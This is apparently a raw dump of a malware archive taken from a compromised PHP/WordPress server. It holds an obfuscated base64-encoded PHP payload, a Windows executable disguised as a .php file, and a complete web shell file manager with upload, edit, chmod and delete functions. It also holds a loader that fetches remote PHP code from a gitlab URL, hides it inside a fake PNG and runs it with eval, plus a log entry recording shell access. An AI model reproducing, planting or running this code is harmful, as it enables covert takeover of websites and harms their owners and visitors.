PU1G2/oRygiMzLJwYjbHSOPHe/YOhXuS5T/UnlPupS
28h57vYPaJU/exdsk8bZ5QM3ByuLTgp8D4lYyDVHbqH
SOpldZImdRZv2QYosAWyUET5Prd5pyjY6VduMCzYo2UKQ7Oe2A/
bWThuHDtNwqpwzTAM6P+pSfnPtxoqoX3nkNcmzXvQ
Ry35/z/CmJ6uQjGxwMF2L9SCY/KRdDREkyu4c
XD9B+JY1jl5bjrL10UmlZNVgDTZSEJWjtQQS
qfPdEMSIOUjEaJvjxTEwBfb7zD6U0N4psCxH53C3j//nWn
s/3LrdssaSzfgCMkiENssKsJRskbggloNiavXx9bL5VTflJpGYfZnKAd
wDgAoQyHVLpVcNAI5+G7h+bJyHiFVvz4Pe0f/ALiW9/R6WzHHVVNBA1wgaZUny30QL3zoO9X7sU6
9zN5uZSKlKZGhV8ltwXC2ReCDL0m3/+4uwGOaexigeeej9R3Qm5pgrKQ5PPscWL49rZ+
QUYUR/qnihs1fbqngb44i8aukJBltPi3H8w
RGgoInlTqWg1R5CQaPJPmHyq0MkO09sfsziUfDFXe
iavtxe6Cg02ISTKdY5/gLmErEpYLAvIy32yGszqizRLvahLyim3zTvnMEuMDl8P0af5JAhDHT0
MbGr8UCPRSq71AlA3cW+yyno5koiJQNbx+r8kBGx2iN3a8ohfMGDq6DxXpKUrckZzV0Q5AK9IK7cX
7TmhTjbV6asresnoicgmZBY+9zKcQL0cYDd5mbFk5hHXh+iR3kgzgPAZuh2iR48byxU0hpkoFLq
WShRYaf5aNgTbldfdtDqgxwx5WSNTWZSH3emwnJDTr
bN5NGOMnqGJFVLoqpKwxPAPHUF4YuuRxFDPlt4K/ozFaWTkp2r+8HjWW
3yppgZSURf/HFZTMG+lpT8Fwde6OCFyQOsyjX4nQUjJXLnR+bpV4FUNAW5NH8loDTNAdE4xVix8Zbl
2/aj+uQfXQVchD5s9tMWdsmbiR6Pa0JjxjIIEsDNbdlS
m9myXg9IGOFLz2ARe1n/vWUVzAUbKglw3
UBgKcGSK0o6ZNeNBLhtqOsa5D96VS7I
eXT5glqWGy4hUi+Lm6ucwtEEmS88BkZ5NTvP4yMomyfHykYG+ODNVJCjt959N
pctHjKIJp57/Y3S3gh5oLCCsNHOCMlywWq5jI9J7S4LBMf+zqhl1CFyMeJglK5gZpYC8peTWwiT968
YzeXje7rTkBliqEuROinrtAjB2MzcGh/Ryd30/XBY7kQANhqKGRIpnoEZ0aSXL4/o9lDRGZojXp
7TA14nwltkDczXp4sPF0hkLFIcJVF8P9WM4MqkWvug3JUJcN4n5HwzA35yDkzzMVQcn1mQ6
6JskTfu1nwnrqfBcoOMyCjJiM7EyxOy6QiKE3YGfUEOG/wv+nfh5yDL+kWm
m0IprYUQIW/JsyAP1CLkEq+yiYl/5dQzCgBOi1JIO2wzg7XEkJzb7Mdkbdmz
UiHu+B3q5rdE+Ja9EoINKt13zKIHaizNtOMSB96ZQJil8pFgrll0kzTj6MEvI
A1Ks/aMHwxbAw2ifdmotYWkfadnB6haeG6SVWH6mCCly8MG5vsuGobwB54L9
W95rFM6pvPQ7FLXrpKuuSBEwMICKz4prN5J8OKjSa7K6fGNCo5yMJeqkSw3i00bSSIoNT8hK2
AfBRd/Z+7+Ee4ZMCxlMCcGOdpY9+EuRfAAl7cHf7fejAl7ese4XgzlHezCOc2Neb
O9pvwBd/DZwxnn442zV+zHpLiFvHlJX9u84Ng5f0YQ
Uir8M4zq3LmiqMr2lFZ+kxgApzg0mJHhFpjtMO2VdoIPlev1NKSYWD
XG5vU9j+jTEPj3pdLSONKfdN1WaTsAqzmwRPoSC/ei6BiKFBFgkPB7q4Pb388wHjAf6wDHg7hcm
huIs/7rBMQuLiCGTd8lcDQKH8gX1fCH4Ue0NtrWqw7svI/ke5DGlmB/4n7mkEoWNEuFzu9k/o2p/BeG
EXZpW1y4yyy52HqK6YGI0VZc60OWuXoFdeRhssrkWyC+hEM8sQCJj3LxyR6Wb2haMkzORcgAE
2jCB9idQva1ou03FQl4mpA+POced1C/7P2dYzLWvozJhhutlrHo+iBpr00
9oXg/NdD84pIs2LpWuI2SkBEtOsNAjPdtowRuD4a
9iJht9/DGXHZOd46tX8ykO+6qr+h6bWrt3JwSxmL3DpmeqmdR7Ul/DzzOihIpKTosu
wWKbwAj2L7ndbWmAEOVDZcvW6cAORQGcb14qiBg1Mc5L5Azuaf
L8h8abGrM0va8m9l+87VYPyOFhaOIfJxhl+q
Og+kcPsFHKSnwU+cYMqN02i2ijkCsr6UTMKe8Uu1u7hK+fKnlF47yUV
9yrn57zfE+PV3wH1/5c0dsmTtCsxqxeqwyEk++g8DybB1PDJ
Mz6NnBXBggGVhyiq/OGL6RSR1eFRvbBf3LWlxuy0V4Rr+QrFGp4t7pkT4m
+rwxq3XRUlcDlrUaEItctGn/DAX440lLt1e327YIyClTar
umqL2k8/izPozlSb/LzfHyqJJquIsNJzqw4JFqtbLvCPlHP9fxB/re/JJ47IPCKBNcp7TfLckdO
LRqky2ZpChZshydTtfl56okG7zjl8aDx
Trr1ucoe5Mt0pcwmVl9V58KiaCygL5U0h/zq
r7mxO15msOLp5hsXc1Y3JEr7/gfLZn7vS6Ph1/BDpWGmrln4
YQYcHEdhimts3T8pYYveY2MDplPY8yQUI/tbeGpK9x8h/2iZmIflrEhvuIkJwy1xWEnMUX9QXq
04MrzI1cinidmYs+dGjBcewXka+ykL7vxYimTa05RqUsnI
lkR2zZI9mfBNqjzPwn/VCTk62Tsb0nN56jB74nGO9xC/zwzhTbtCkHQofOYVaTAns
ZlDM1vQL1nu7LFnEYpVqQIGx3iexSN9y
bDb7Mf4IpMnfyoU6jSkYSaXV5x8a/KTMWk6Ds3hnMI
QR3kq8L/Emyt//3qDDdBVwFGBiima8jd+WI8HuwrUcm7ptjHrPJ0hqecruBp
YkFRHjDBsG/XdW0sgRkgzLIiVWaguu4xnZayXVbw9w8xTU0bndv11lq8akDJ
kW0+UQ3b20Fn4qRFau1R5tvZAHaiap5OFgaZSsC4+6KVj7A6IB4t7S8la6tT7M3Nn/RBjAdR
ZuGgvU9xuISup2gAgY++jzJXM+fKo9BtNIgakrJWfxBiu/HpsAu7Z0fldUWpvaXgtXj1F6JiiPNxGPP
JMqvxrtfndS4btWVinThs++dZnJEinyHrwfxPTrLjULR44hc9dClldQ
jertrj7FREhJUY7PB+ZMQobvrWy6uNb8bfOz4fk9FZBN0d2x
V8tmb3nFehQf1AE3zD7a0l8ZJeYdTUQe5m7EBB3/l2kG3JqMP3ylPO8mL7m61TtK4M
EKiV1ctESdd4461dmjC3bAfbV4ooxgbvMGIH5aE33qRIhvZt357LzBGY+LfIqQ3C7pkmbz/B
SDqdA6ee/Dr6nozSfGhW1ugtMhrYNxHhvWR2YN2N82K9b6hXU7ZI0DACKmyt+a
J6iuI7ueCC9AS4yXV6G5BxqO2wRJrAcj2LGEkpo
b+ZHBdD8h8EkmYm46xuHeh3hbdIaXBHjCKBthmiKOddL/AAE2yfrTFGVsYCpjil2urBEO
5CGJiBJjQqy0QjPf+9EV3gFKortMZNm6aixEprFdG3psv
UDT4JAi/L4NlZOZzuTW6LYXt4MSAzc1EFRu1w4TOjSLqT2EMf9ftCdC2a7ZwKqc8Od5JWUhNien
O9tWbVleGouAogC/2I7bvPL0daek6cn+izQwuaX2GGV
6cFoSU4vdl8DcIfNof9V2YqYI9HwsboITHxLPfPOdHzU84bWgX11Y1HHgxggf7QuwqIrudqUn
AVVmc4efL9Hk6i2+56P5fpxv466Irt3U40OxRqNdwolYroHQdBcVAm
Gizu/GHhvWqeJkwUSv/7SwA9+2it59zZU
4/KwcZCLSe1V8uXQMA2fdYVSlCzSrjZFBd3bu3aPGWb/1OJG
FZ2ynCaoPjqj3Rqan80IrEwNHjPWzxuaEmTCtG9xx6oVgl9UO/iMFLlOmxUbQeDX7sa4
1qSvpwa1bPzQroLIi4Is/wgknbIgpHgm
WeQw8VRtwkAbFLmZiQ8zGzPHO6Otrg28aZUgLvDnr1OLSKdlrp+Bv/0EmjiqqNLvqY1
kEm06k8wxM5rGePrQbCsVbWKE1xWVEt6L8L0J3o2ToPjk9dvo5m+48vFa8/ZnewIzlGZZ
W8PXQOyMedsAtaiCnzuVt8VIcMI0eYSF2pIKyK/6KP/k2LhJH9uvt6n/ZejY
+kEFVo6TMTKnzxLbKYXfHmRbIhmo5UZ4cwsXOTZF/a4Z995IKpzxlw
y1ihgQ8KXp61fbpbEVLKdjUs8P1Bfebg75tPZqmYJdyMT2r5It3CsM0R
2ztHu44+VDywqPRLf3SWLB7zAYCe8H6JoNvY8G4bPNu8vxFlhWT10lv+vBm82rQp3y8ky
mvmV5Rpvj5RCZ19C2PYzu8kxF06vaaZ/obg3/wSGbAeAJSe3eZYeNCO63WMpr1EahyKe
QwYiwhLXNertLrQaMld5+v4NlCofSjJ34Xf4D/j
fPCK8kL7C8fZa2QVrYzdo4g47Wa06EAveykuVHG5AEDF3yLoTEXk/NiqBm+Iwss2n68k2sSFLR
k4HG1fakXZ6lZbelfNbYO1Lv22sRg9pm41nVKh4rY84qkZVO5ipCwhJD9X03J
kCWPe2arVyry+uPOSTeRpUcIiZuJsMYfmZTvEAgGepBmok7lsR76A5bZU+pWTK
H0MahXDYlKE9xLcFSeC2j5oJQE8lbsJAdPbrVbEXAGO/OblIyo4NiZweq/JpepAivIH
TVKlFIyCmVTwmioUE2GuJnBFYMeCUvxotD7SJ3o2prdfHrPWs+0hs3mnROyZ
P1BrljEeMbJq5IOX7p3DwO9+4K01CLkMWGaTzQT/nAQgBUMVyqVk/D
tq+NG85SLvBQ2Dm+80yZ7bmtRe+0THrH+JTeP4Hs
oP/WCb1wOl4Ysh7wtqqDAXCpKvl3qeqqAPW8faVhNkofgXsYdl5yX
YKNdp5pqzWvbPtkQcILxV58H+WBo+qAmNeFJgVBCZ7Xaf
K5mToezMBb6wFb6AZLyCBdNfCVmrERTKBU59mVT
vEQMS1Ou338eL0VA0p6qtd6BF+84e0mHFRfO60b1y1pDvZAzuUPt9ZvO7QNqIq+LK8+lwR
p1IYBA6rBEurlwMHS597pA37uTL03tiGh/tNHB6frX4LcM
0n0q11K77rWSoUEkdNa1orpZWonjYa/5b1HL6EPlhATjl/09XkVd8li09W8qH436RgKLhgj
ZvVmePe9HZLeXrv3EVu6/B6i65Yvd7Fy+ogSb5jjWfgQzTv7UYaWIdyOVfGhjXLy2R
QEEO0QSqUQl4mccAlLlZO4tcXRC6yXf9D5Bg/refYFYzhOrea07xAgZ9vjJUIlOpUMd
IvPCp9WiLzQVMBeuD9775DluvueUCO0uG7+fL2s7e3HfcCVR9h8bVb
LCfNy2xmH3BbC9by7tsSttV9+0Kxji70qGgxMIIulaf8jj47jRaX/wBjKf8B+MJamI51r6d
SB1RfC17h0VZEg/0t5iE1AXWCOKGuPUghKC1eQJyXCICOnZVEnl8q4Kh
LRt2z71kSF+tButp7uS5DPVpCxYEAVk0+Brugtd2BtXHVFdTGngCxOqKj
IaSOAOdV8qHvfN3XbDy31t/4OyxXaRqb+lCCv
SJ6pHh2YsSV1ZCMQZvgcvWHRyMHrEMORpvENC2bxZg77Zj+IpYEGl91E
tghEjNzxgU/zbQrWtwG4MTup5zrE747ittF
HnHl/EOCFISvHXcqjO2gzkn9Xs+Yu1rffduIw
JY3RCndsNVDyATxpRVadRg6g2YD63Gc8dK+zNsHgSSqm2XbXSyfhdMObZkj3dQ2ogZZbqf
0R3oInvFF4nZ8Q75W9Dmg0nhrTMzT7MKUph+amWyV
17OSvH9n1nbadxqP52izoD8V68+GU4ITNyMjgMQ6jWtuuqjyH6rPQzsYp2csK6EIaAGf40Va
ZQBY4414778m52QbW2YCnF8ukKnT1b/Kc2Xr6r5y9I8K7xOePLeQb7MZSD3B+btXxXe/cgavw
Pl8Smv3Ak05S7Pp26+lyk5m90CcvJH
+nl/3Ccq1m/VLkSDFbGokxx6bYorwpaz
zs39vKOT/3WZJKI4xcOvFxY+Cuol4pHnbQv5WkebKg0iAVVHqjXjyX
p4AadkTLsx22UX+ZFgHf75vks2pfABZB6jrZHcCQR6bdDbNN0euvdE28xg915PNARpO
6fviipxHXL1LWcgUFeRxOquzQoGO6hBO78q
sQAcGrCOCqxv33K+Uua8lXkinOi/W3LyIBFJj9a2kumoqa+G+7o4RLfBwndZzXten
OPkQYVin/Ef3h5BeKBvUwE3Lup3kmFQ/0U+
fX5q82WOeiQ9ue4SGLHySHo+KFGgOjHQ7AmS7+Rwey9KfK4L3RS9YNGe9wxk8
TcWR6xa2caNynHgoaLdbLzNfm4FJn2FTrDS3VY2fObzodpBQh1ttEQy
Nx3ZkUD/If+m7IvfDjcb0cBR+/FCtekzq5WglRfGsWJyGrhkyJ7VVScc5FdEHT6BzBJxlMRryC5V
DmfWOX1PZdC+GF1qwi3mM6bGOryluQs0/IZYHYzZvFy6jJF8bUIahT6gC8k7Ydth
Fqvo/TkJPLB7IjzEia5AnUGs1Zej0fwNbzw+lfubj8VlJH09L8CcsD8PFbD71aSn
Z2o8uQ3b/I3cpJFub04laDgi8vQIhrUneC+hF+A
NW1UleWPMrvaUwpIzCYsRpehvv+4hmTEf
vaQumJ/ThBapTJiiUrJIuRfMTjvPl15xEoaY+FL3VoI6Ym+P4
6O/zRgG7BPQuAYqWpdtCO0Y0+UNVYs/SKC9pUNzU478soB9mV
Rt6/bm0I2iUkW3OYMLfewIrqrM8+KT+15a4joq1+3FkM5lo
md06pte49E0Y8I8tps2ZOqc3KYWlE2yytUvScn+EQ8Be063WpReEux48bZbSZ5slgfeDgPy5uVWkFNG
EG5MhMVmI9f5URpWh15IBxhMQ/LIbN4aX8SbhjrOhSsSG6ZCc0l
dv00D2DSkb51arDaExfANo9bgtS6FY0Wlw6VGpk2B+2LaIiSiY1rU+u4bvA
sEsNy37K21BeK7OetWyO30LkCsJL5T7l0zqCG
Pp8KNWLXU/2yW9Ax0TA7SWceNS/c7SrUI+IsqNDzCP9RQxtxcsaHm6nzdUp6DRaao5AmNOFYRDSSKl4
to3nPs1CFw74FSzShaD+W5aWN9oiZeB
pSSrtKuD5pV18iGnQdd2xtVH4jJWvOUg
qUJmmwbjEe3Jr8XCcQ+rNh34xz0rZvbRnIuD
oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k
GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT
6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb
6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL
ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV
FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF
Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ
giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl
Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7
sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI
Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO
7nip56POvqvOvv';
public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK');
public $_worker;
}
new Div();
?>PK �Lm\�[PKI I ed9yc.phpnu �[��� MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
<html>/**
* Front to the WordPress application. This file doesn't do anything, but loads</html>
?i�?<?php
@session_start();
@set_time_limit(0);
echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title></title>
<style>
body{
font-family: monospace;
font-weight: bold;
font-size: 18px;
background-color: #c5c5c5;
color: #000;
}
#content tr:hover{
background-color: #ccc;
}
#content .first{
background-color: #ccc;
}
#content .first:hover{
background-color: #ccc;
}
table{
border: 3px #000 solid;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #00f;
}
input,select,textarea{
border: 1px #000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input {
font-size: 18px;
font-weight: bold;
padding: 5px;
}
select {
font-size: 19px
}
textarea {
font-size: 10px
}
td, tr { padding: 2px 5px; }
</style>
</HEAD>
<BODY>
<hr width="920" color="black"/>
<hr width="920" color="black"/><center><p><h2>Your IP : ' .$_SERVER["REMOTE_ADDR"]. '</h2></p></center>
<hr width="920" color="black"/>
<table width="920" border="1px" cellpadding="7" cellspacing="0" align="center">
<tr><td style="padding: 8px">Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Success..</font><br />';
}else{
echo '<font color="red">Upload Gagal..</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td style='padding: 8px'>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Chmod Success..</font><br />';
}else{
echo '<font color="red">Chmod Gagal..</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Rename Berhasil..</font><br />';
}else{
echo '<font color="red">Rename Gagal..</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Berhasil..</font><br />';
}else{
echo '<font color="red">Edit File Gagal..</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=130 rows=10 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Directory Berhasil..</font><br />';
}else{
echo '<font color="red">Delete Directory Gagal..</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Berhasil..</font><br />';
}else{
echo '<font color="red">Delete File Gagal..</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="920" border="1.5px" cellpadding="5" cellspacing="0" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';
foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
if(is_writable("$path/$dir")) echo '<font color="Blue">';
elseif(!is_readable("$path/$dir")) echo '<font color="red">';
echo perms("$path/$dir");
if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
<td><center>".$size."</center></td>
<td><center>";
if(is_writable("$path/$file")) echo '<font color="Blue">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
echo "</center></td>
<td><center><form method=\"POST\" action=\"?option&path=$path\">
<select name=\"opt\">
<option value=\"\"></option>
<option value=\"delete\">Delete</option>
<option value=\"chmod\">Chmod</option>
<option value=\"rename\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
<input type=\"submit\" value=\"Oke\" />
</form></center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><hr width="920" color="black"/> <center>
</BODY>
</HTML>';
function perms($file){
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {PK �Lm\�|b� � fklxj.phpnu �[��� <?php
/*
Improved PNG disguise for hidden PHP payloads.
This script fetches remote code, embeds it into a realistic PNG file,
and executes it stealthily.
*/
session_start();
// Main remote code URL (can be overridden by session)
$mainUrl = $_SESSION['ts_url'] ?? 'https://gitlab.com/mrgithub89-group/mrgithub89-projectaa/-/raw/main/wp-security.php';
// --------------------------------------------
// 1. Generate a realistic PNG image (128x128)
// --------------------------------------------
function generateRealisticPngHeader($width = 128, $height = 128) {
ob_start();
$image = imagecreatetruecolor($width, $height);
// Fill with random noise
for ($x = 0; $x < $width; $x++) {
for ($y = 0; $y < $height; $y++) {
$color = imagecolorallocate($image, rand(0,255), rand(0,255), rand(0,255));
imagesetpixel($image, $x, $y, $color);
}
}
imagepng($image);
imagedestroy($image);
return ob_get_clean(); // Binary PNG data
}
// --------------------------------------------
// 2. Load remote PHP code from given URL
// --------------------------------------------
function loadRemoteData($url) {
$content = '';
try {
$file = new SplFileObject($url);
while (!$file->eof()) {
$content .= $file->fgets();
}
} catch (Throwable $e) {
$content = '';
}
if (strlen(trim($content)) < 1) {
$content = @file_get_contents($url);
}
if (strlen(trim($content)) < 1 && function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 10,
]);
$content = curl_exec($ch);
curl_close($ch);
}
return $content;
}
// --------------------------------------------
// 3. Create payload by appending hidden PHP code
// --------------------------------------------
function createStealthPayload($phpCode) {
$png = generateRealisticPngHeader();
$marker = '###PAYLOAD###';
$encoded = base64_encode($phpCode);
return $png . $marker . $encoded;
}
// --------------------------------------------
// 4. Extract and execute hidden payload
// --------------------------------------------
function extractAndExecutePayload($data) {
$marker = '###PAYLOAD###';
$parts = explode($marker, $data);
if (count($parts) === 2) {
$decoded = base64_decode($parts[1]);
if ($decoded !== false && strlen(trim($decoded)) > 0) {
@eval("?>$decoded");
}
}
}
// --------------------------------------------
// Main Execution Flow
// --------------------------------------------
$remoteCode = loadRemoteData($mainUrl);
if (strlen(trim($remoteCode)) > 0) {
$payload = createStealthPayload($remoteCode);
extractAndExecutePayload($payload); // Executes hidden remote code
}
?>
PK |�m\�6J� � samurai_activity.lognu �[��� [2026-03-13 08:54:14] IP: 57.141.2.11 | Action: Shell Accessed | Target: 57.141.2.11 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)
PK �Lm\Aj�%\ %\ 962ta.phpnu �[��� PK �Lm\�Bf*k k ^\ index-20260307170735.phpnu �[��� PK �Lm\���� � ] about.phpnu �[��� PK �Lm\} ���@ �@ =^ 21dew.phpnu �[��� PK �Lm\Aj�%\ %\ �� 8vgr5.phpnu �[��� PK �Lm\�U��S� S� Z� hpmo7.phpnu �[��� PK �Lm\ߟW�j j � index.phpnu �[��� PK �Lm\�.C/z z �� stheo.phpnu �[��� PK �Lm\^�6Tc2 c2 <� i6emf.phpnu �[��� PK �Lm\��RH H �� vfze4.phpnu �[��� PK �Lm\�d�� �� Y� u1a79.phpnu �[��� PK �Lm\�a]t֭ ֭ �� service.phpnu �[��� PK �Lm\�[PKI I �_ ed9yc.phpnu �[��� PK �Lm\�|b� � " fklxj.phpnu �[��� PK |�m\�6J� � � samurai_activity.lognu �[��� PK c �